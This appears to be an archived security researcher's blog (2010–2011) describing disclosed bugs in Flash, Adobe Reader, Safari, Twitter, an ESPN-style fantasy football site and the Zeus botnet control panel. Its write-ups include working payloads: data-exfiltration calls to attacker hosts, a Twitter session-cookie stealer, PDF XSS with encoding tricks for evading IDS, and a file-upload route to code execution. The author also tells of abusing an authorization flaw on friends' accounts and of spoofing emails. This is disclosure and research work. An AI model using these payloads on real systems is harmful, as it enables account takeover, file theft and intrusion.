Friday, June 10, 2011

Turning the Tables - Part II

I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.

This week's sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli

I’ll post more samples in the coming weeks.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process :)

Monday, January 3, 2011

Bypassing Flash’s local-with-filesystem Sandbox

A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”.  In the PoC I provided, a SWF file reads an arbitrary file from the victim's local file system and passes the stolen content to an attacker's server.

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems.  Looking at the documentation related to the sandbox, we see the following:
Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:

The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous.  SWFs loaded from the local file system do face some restrictions.  The most relevant restrictions are probably:

  1. The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface

  2. The SWF cannot call a HTTP or HTTPS request.

  3. Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)


Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation.  The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server.  For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like:  file://\\192.168.1.1\stolen-data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses).  If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks.  A while back, I put up a post on the dangers of blacklisting protocol handlers.  It's basically impossible to create a list of "bad" protocol handlers in siutation like this.  In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists.  If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win. 

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example.  The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash.  Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL('mhtml:http://attacker-server.com/stolen-data-here', '');

Some other benefits for using the mhtml protocol handler are:

  1. The request goes over http/https and port 80/443 so it will get past most egress filtering

  2. If the request results in a 404, it will silently fail.  The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer

  3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning


There you go, an easy way to bypass Flash’s local-with-file system sandbox.  Two lessons here.  One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous.  Two, protocol handler blacklists are bad.  Hope this helps PZ!

Wednesday, December 22, 2010

Expanding the Attack Surface

Imagine there is an un-patched Internet Explorer vuln in the wild.  While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right?  Unfortunately, the situation isn’t that simple.  In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser.  As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.

  1. Requirements:  Firefox, Internet Explorer, and Adobe PDF Reader (v9 or X)

  2. Set the default browser to Internet Explorer (common in many enterprises)

  3. Open Firefox and browse to the following PDF in Firefox: http://xs-sniper.com/sniperscope/Adobe/BounceToIE.pdf


Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE.  To be fair, we can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple.  We use a built-in Adobe Reader API called app.launchURL().  Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional).  cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”.  In this case, “new window of the browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL("http://xs-sniper.com/blog/",true);

Happy hunting…

Thursday, December 16, 2010

Will it Blend?

I had the honor of presenting at RuxCon and BayThreat this year.  Both were great conferences with great people.  I’m always humbled when I learn of what others are doing in the security community and even more humbled when asked to present.  I gave a presentation called Will It Blend.  The title of the talk is based on a series of videos from Blendtec (I could watch these videos all day).  The content of the talk however is about “blended threats”.  During the talk I presented a set of bugs I discovered in various browser plug-ins.  Independently, these bugs are pretty lame.  However, if we chain the bugs together, we get something that’s actually pretty interesting.  If you’re interested in taking a look at the slides, you can find them here (PPTPLEX format) or on the RuxCon/Baythreat websites.  The vuln chaining is a little difficult to visualize by looking at the slides, so at the end of my talk I gave a live demo of the bugs being chained together.  For those who were unable to attend my talk live, I’ve created a video to help understand how the exploit would be pulled off (http://www.youtube.com/watch?v=fMFVVNE8ytQ).  It will help to go over the slides first, then watch the video.

Most of the relevant code is available in the slide deck (its really simple).  There are around 5 different bugs in play here, involving a variety of vendors.  All the vendors involved have been contacted.  The oldest bug here is over a year old, the youngest is about five months old.  Kudos to Adobe.  Adobe X has changed its caching behavior, so this specific attack cannot be used against Adobe X users. 

I'm not sure where the blame lies for fixing these issues.  On one hand, if a single vendor addresses their portion of the attack, the entire chain of vulnerabilities is broken.  On the other hand, if only one vendor addresses their issue, all we have to do is find some other software/plugin that buys us the same capability and its game on again.

I hope someone finds the presentation useful.  Happy hunting.

Monday, October 18, 2010

PDF RCE et al. (CVE-2010-3625, CVE-2010-0191, CVE-2010-0045)

A few weeks ago, Adobe released an advisory for a ton of Acrobat Reader bugs.  Buried in the long list of Acrobat Reader bugs was a patch for a vulnerability I reported to Adobe.  Taking a look at the entry in the advisory, we see the following description:
(CVE-2010-3625)

This update resolves a prefix protocol handler vulnerability that could lead to code execution

What’s interesting is many months ago (in April 2010), Adobe released a similar patch for a different bug I had reported to them.  The description from April’s advisory is as follows:
(CVE-2010-0191).

This update resolves a prefix protocol handler vulnerability that could lead to code execution

Going back even further, there is an Apple advisory that has a bug with a description similar to the Adobe advisories:
CVE-2010-0045

Description: An issue in Safari's handling of external URL schemes may cause a local file to be opened in response to a URL encountered on a web page. Visiting a maliciously crafted website may lead to arbitrary code execution.

I’ll walk you through the latest PDF bug, but the symptoms for all the bugs are very similar.  As you know, PDF Reader supports the use of JavaScript.  One of the JavaScript APIs supported by Acobat Reader (>7.0) is app.launchURL().  app.launchURL() takes two parameters, the URL to be opened and a flag that specifies whether the URL should be opened in a new window.  Typical usage of app.launchURL() looks something like this:
app.lauchURL(“http://www.google.com” , false);

Simple enough.  Naturally, when a string that looks like URI is encountered one of the first things that’s attempted is to point the URI value to a file:// location and observe whether the local file is opened.  In this case, access to file:// is blocked by Adobe reader.  Next up are arbitrary protocol handlers.  Tests for mailto://, foo://, bar:// all work, however JavaScript:// seems to be blocked.  This feels like a protocol handler blacklist.  I think there was a SouthPark episode about using blacklists last year…



There is a simple way to bypass most protocol handler blacklists.  This bypass was the key to CVE-2010-3625, CVE-2010-0191, and CVE-2010-0045.  The trick is to simply append a “URL:” prefix protocol handler to your URI.  You can test this by opening Internet Explorer (IE8 on Win7) and typing “url:javascript:alert(1)”.  I must give credz where credz are due.  I first learned of this prefix protocol handler when looking at the source code for HTMLer (which is a port of MangleMe).



With the prefix protocol handler in hand, we’re all set to bypass the protocol handler blacklist:
app.launchURL(“url:file://c:/windows/system32/calc.exe”, true);

There is some weird shell behavior here (which I won’t get into), but the key pieces are (as far as this bug is concerned):  the url: prefix protocol handler and setting the “New Window” flag to true.  A link to a simple PoC is provided below.  This bug worked on Win7 with no prompts.  For some users, this bug will not work if IE is already running (must be launched from a browser other than IE).  For users without Adobe’s April patch, this bug should work on all browsers in most configurations.

http://xs-sniper.com/sniperscope/Adobe/calc.pdf

There you go, a simple yet effective way to bypass a protocol handler blacklist.  I hope that knowledge of this prefix protocol handler provides that missing piece you needed.  Happy hunting.

Sunday, September 26, 2010

Turning the Tables - Part I

Boom… I've just taken over a Zeus C&C.  I fire up a second, clean VM just to verify... yup it works.  Ok, now what?

A while back, I came across a kit for setting up a Zeus botnet.  It was an interesting package.  Looking at the C&C, bot builder, the actual bot, and user manual was pretty cool (yes, it comes with a user manual).  You have to admire the some of the tricks used by the bot, these guys are clever.  I set up a mini-botnet on a testing network and began to examine how the botnet worked.  Eventually, I came across some bugs (even a blind squirrel finds a nut every once in a while).  There are some fascinating things to consider when finding bugs in software that is used primarily by criminals, but I won’t bore you with that now.  Instead I’d like to share with you some of the more interesting parts of my research.

Before I proceed, there are a few things I’d like to state:

  1. This research was done on my own time on my own equipment.  The thoughts on my blog are my own.

  2. Disclosure of this issue is a bit tricky.  I’ll cover some of the issues I came across in a future post.

  3. I’m releasing the details of my work because I felt it was important for the public to have this knowledge to better defend their networks.

  4. All the work presented here is for academic and research purposes only.


In the spirit of responsible disclosure I contacted security@zeus.com and informed them that I may have discovered a security issue with their C&C server software.  The Zeus.com team informed me that they were a cloud service provider and didn’t have C&C software.  Zeus.com then proceeded to spam me with advertisements for their latest products.  I then contacted security@botnets-r-us.ru but received no response.  Botnets-r-us.ru then proceeded to spam me with Viagra ads and executables for me to download.  With no other alternative and an email inbox full of spam, I have no choice but to provide full disclosure of the vulnerability to the public.

Taking a look at the documentation that accompanies the Zeus package, I see change log indicates that I’m working with a recent version of Zeus (likely released earlier this year).



Examining the source code from the C&C confirms that I’m working with version 1.3.2.1, which was released on January 15th of this year.



I haven’t tested this exploit against newer versions of the C&C, but this post should provide everything you need to check yourself.  If you do happen to have a newer version of the C&C code (or kits from other botnets), please contact me (xssniper  -at- gmail) I’d love to have a look.  I looked on the Internetz to see if someone else had discovered this, but I found nothing.  If this bug was previously disclosed and I failed to credit you, please let me know (I don’t follow the bot scene very closely).

The C&C software has a PHP based web application that provides a control panel for botmasters and also serves as a gateway for bot communication.  There are several websites that have described the C&C so I won’t spend much time on that here, but I do feel it’s important to touch on a few things.  When the C&C web application is installed, very little attack surface is exposed to unauthenticated users.  The two most interesting pages available to unauthenticated users are the login page and the gateway.  By default, the login page is located at /cp.php.  By default, the gateway is located at /gate.php.  Some botmasters rename the gate.php file, however if you’ve managed to capture a live Zeus bot it will phone home to a php file.  The php file that the bot phones home to is the gateway (gate.php).  For clarity, let’s assume the gateway is at /gate.php (the default).  The gateway will only respond to requests from bots.  For example, if you point your browser to /gate.php, you’ll get a blank page back:



Luckily, we have both bot samples and the source for the C&C, allowing us to reverse the protocol needed for communication to the gateway.  Let’s walk through a couple key pieces of the gate.php source.  First, the gateway requires a POST request.
if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die();

require_once('system/global.php');

require_once('system/config.php');

If the gateway receives a POST request, it grabs the POST body, performs some basic validation, and then decrypts the data using the RC4 algorithm.
$data      = @file_get_contents('php://input');

$data_size = @strlen($data);

if($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)die();

$data = RC4($data, BOTNET_CRYPTKEY);

This is not a typical POST request with POST parameters in the body.  Instead, this POST request contains a binary blob as its POST body (there are no POST parameter names).  The last line in the code snippet provided above mentions RC4 and a PHP constant named BOTNET_CRYPTKEY.  In case you’re wondering, the RC4 key (BOTNET_CRYPTKEY) is set by the botmaster when setting up the C&C and is stored server side (in the /system/config.php file).  As RC4 is a symmetric algorithm, the bot must also have a representation of the key.  The key is embedded into the bot (supplied via configuration file).  So once you have captured a live bot, you’ll be able to extract the RC4 key.  The key can be extracted from memory or if you are able to decrypt the config.bin file, you’ll see the key passed as part of the configuration for the bot.  If you're interested in doing this, check out threatexpert.com.  Worst case, you can try brute forcing the key.

Once the data is decrypted, the gateway does a quick sanity check.
if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die();

and proceeds to unpack the data if the sanity check turns out ok
$list = array();

for($i = HEADER_SIZE; $i < $data_size;)

{

$k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE));

$list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);

$i += (ITEM_HEADER_SIZE + $k[3]);

}

unset($data);

Once the data is unpacked, we will have an array ($list[]) populated with various configuration and log data being passed from the bot to the C&C.  Using what we've discovered thus far, we can create a fake bot that is capable of communicating with the C&C.  Depending on the values held in the $list array, the gateway executes various functions.  One of the functions I found interesting was this:
else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE]))

{

$type = ToInt($list[SBCID_BOTLOG_TYPE]);

if($type == BLT_FILE)

{

//Расширения, которые представляют возможность удаленного запуска.

$bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml');

$fd_hash  = 0;

$fd_size  = strlen($list[SBCID_BOTLOG]);

//Формируем имя файла.

if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

$file_root = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id);

$file_path = $file_root;

$last_name = '';

$l = explode('/', (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace('\\', '/', $list[SBCID_PATH_DEST]) : 'unknown'));

foreach($l as &$k)

{

if(IsHackNameForPath($k))die();

$file_path .= '/'.($last_name = urlencode($k));

}

if(strlen($last_name) === 0)$file_path .= '/unknown.dat';

unset($l);

//Проверяем расширении, и указываем маску файла.

if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat';

$ext_pos = strrpos($file_path, '.');

//FIXME: Если имя слишком большое.

if(strlen($file_path) > 180)$file_path = $file_root.'/longname.dat';

//Добавляем файл.

for($i = 0; $i < 9999; $i++)

{

if($i == 0)$f = $file_path;

else $f = substr_replace($file_path, '('.$i.').', $ext_pos, 1);

if(file_exists($f))

{

if($fd_size == filesize($f))

{

if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true);

if(strcmp(md5_file($f, true), $fd_hash) === 0)break;

}

}

else

{

if(!CreateDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die();

flock($h, LOCK_EX);

fwrite($h, $list[SBCID_BOTLOG]);

flock($h, LOCK_UN);

fclose($h);

break;

}

}

}

A quick look at the function above shows that if $list[SBCID_BOTLOG] and $list[SBCID_BOTLOG_TYPE] are set to the correct values, we can trick the C&C into thinking we have a bot that needs to upload a logfile.  Before the C&C accepts our supplied logfile, it first attempts some validation by checking to see if the file extension we’re providing is in a blacklist of “bad extensions” and whether the filepath supplied is “IsHackNameForPath” (a custom validation routine written by the C&C author).
$bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml');

…<snip>...

if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat';

...<snip>

//Формируем имя файла.
if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

We know the web server supports PHP because the C&C web management console is written in PHP.  If we can pretend like we're a bot, convince the C&C that we have a "BOTLOG" that needs to be uploaded, and instead of uploading a "BOTLOG" we upload a PHP file with our PHP content, we could have arbitrary code execution on the C&C.  It seems the C&C code protects against this attack… or does it?  Unfortunately for the botmaster, the PHP interpreter is very liberal on extensions.  Some examples of the quirky extension madness associated with PHP can be found on slide 23 in this presentation (given by Kuza55 at CCC 2007).  In this case, I want to upload a PHP file to both IIS and Apache (the supported platforms for the C&C) so I use the trailing dot trick.  All I have to do is append a trailing period to the end of the .php extension (.php.), and I can bypass the extension check yet have the file contents run by the PHP interpreter.  Once the extension check is bypassed, the value I supplied for $list[SBCID_BOTLOG] is written as content to the file I specified on the webserver.  Now I just have to guess where my PHP file was written.  This line of PHP in the gateway source gives us a clue.
$file_root = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id);

The default location for the BOT LOG is: C&C-webroot\_reports\files\<Name of the botnet>\<Bot ID>\

I also control (via values passed from my fake bot to the C&C) the two subdirectory names (in this example: “BKs_BOTNET” for <Name of the botnet> and “BK_PWNZ_UR_CnC” for <Bot ID>).  If the botmaster is using a default install and hasn’t relocated the _reports folder, we should be able to simply guess where our PHP file was written to (/_reports/files/BKs_BOTNET/BK_PWNZ_UR_CnC/pwnd.php).



If the botmaster was smart and relocated the _reports folder, guessing where the uploaded PHP file becomes more difficult.  We can take all the guesswork out by using some directory traversal tricks and planting the PHP file directly into the webroot.

Boom… we've just taken over a Zeus C&C.  Once we have our own PHP code running on the C&C, we can include the /system/config.php file.  Config.php contains the location of the MySQL database as well as the DB username and password (via connection string), giving us complete control over the management console and all the bots associated with this C&C.

For those interested in “studying” this vulnerability, I’ve put together a Proof of Concept.  All you have to do is provide the location of the gateway (provided by the bot), the RC4 key (provided by the bot), and the PHP code that you want to upload.

Tuesday, September 21, 2010

Put me in Coach!

*** UPDATE ***
Rex Grossman is out for the season.  ESPN has fixed the issues I discussed below.  However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed.  This guy will have details posted soon -->  http://lanmaster53.com/?p=182 .  The fun never stops :)
*** UPDATE ***

First, some background.  I love American football.  My team is the Chicago Bears.   I’ve been a Bears fan since the 80's when Walter Payton, Mike Singletary, and Jim McMahon dominated the field.  The last few years as a Bears fan has been difficult, but I’ve hung in there.  A few years ago the Bears had a quarterback named Rex Grossman.  To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away.  I never really liked him.


Earlier this month, I was invited to play in a fantasy football league.  I’ve never played fantasy football, but I understood the rules and had many friends who played.  My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot.  Before the “season” begins, each player selects the football players they think will be the most successful during the season.  As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers.  I was shocked to see my star player injured in the first game of the season with a season ending injury.  As I navigated the fantasy football website to find a replacement player, I came across several interesting issues.  There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.

When a team decides to add a new player to their roster the player navigates through several menus and selection screens.  The final confirmation URL for adding a player to the bench looks something like this:
leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20

The leagueId represents the “league” in which our teams are playing.  The trans parameter represents the actual transaction.  Looking at the trans parameter, I’ve broken the various pieces into the following:
2 <-- this is the type of transaction to be executed

4480 <-- This is the unique player ID for Rex Grossman

-1 <-- some sort of increment value/ counter?

1002 <-- another value that describes the transaction

3 <-- team id for my team

20 <-- not sure what this number is

Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking.  These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster.   I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).



Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.


A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play.  My rival then dropped him from the roster before the next weeks play.



Unfortunately for my rival, Rex is a persistent player.  This week I traded him from waivers for another player on my rivals team.  Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).
trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20

The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup).  In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.


Of course, another spoofed email goes out to explain the situation.



We’ll see what next week brings.  I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…

Monday, September 6, 2010

PDF XSS (CVE-2010-0190)

In April of this year, Adobe patched a couple of bugs I reported to them.  One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190).  I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.

PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content.  With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment).  Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF.  The safer way to handle PDFs is to serve them with the content-disposition set to attachment.  An even better method is to serve the user controlled content from a separate domain.  This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures.  Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.

Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs.  I'd like to share some of the more interesting items.

PDFs Support Octal Encoding


PDFs support  JavaScript from within the PDF.  Unfortunately, the script executed from within the PDF will not have access to the browsers DOM.  In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI.  Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding.  I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character.  An example of the OpenAction is presented below:
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript\72alert("FTW - "+document.domain))
>>

A super simple XSS with PDFs.  When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS.  Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline.  Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it.  In fact, octal encoding can be used throughout the PDF in various scripts and actions.  For example, you could encode the entire protocol handler and it would still work:
/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))

You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.
/URI (j\101v\101s\103r\111p\124\72alert(document.domain))

If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload.  This was the bug Adobe fixed with CVE-2010-0190

Security models are different for local and remote PDFs


Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely.  It can be useful to determine whether the PDF was opened remotely or locally.  The following script returns an indication as to how the PDF was loaded.
//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}

This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.

PDFs can be used to call the default browser


There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser.  Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.
app.launchURL("http://xs-sniper.com/",true);

If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI.  This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances.  If the user is using the default browser to open the PDF, this can help bypass pop-up blockers.  You can test this by setting your default browser to IE and browsing the following PDF in FireFox.  PDF HERE

There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff.  I hope this helps someone out there!  Happy hunting.

Sunday, August 1, 2010

Stealing Files With Safari 5 (CVE-2010-1778)

Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You'll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari's transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn't necessary for the exploit, it adds a bit of flava...):
<category term="Hip Hop/Rap" scheme="http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2" label="Hip Hop/Rap"/>

<link title="Preview" rel="enclosure" type='video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js">
</script>'
href="data:text/html,testtesttest" im:assetType="preview"><im:duration>30864</im:duration></link>

<im:artist href="http://itunes.apple.com/us/artist/jay-z/id112080?uo=2">Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:
<div>

<!-- <img src="feed:///__icon32__/video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js"> </script>"> -->

<img src="file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg" height="32" width="32"/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this :)

Sunday, July 18, 2010

Twitter XSS Bug

I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.

Cookie scoping - Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)



With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.

The XSS bug - The actual XSS bug was found here:
http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>

sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:



Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.


The Payload – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:
&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php

Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:

1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:
var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml).  In this case, I use the hash to get around the restrictions on my JavaScript payload.
&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

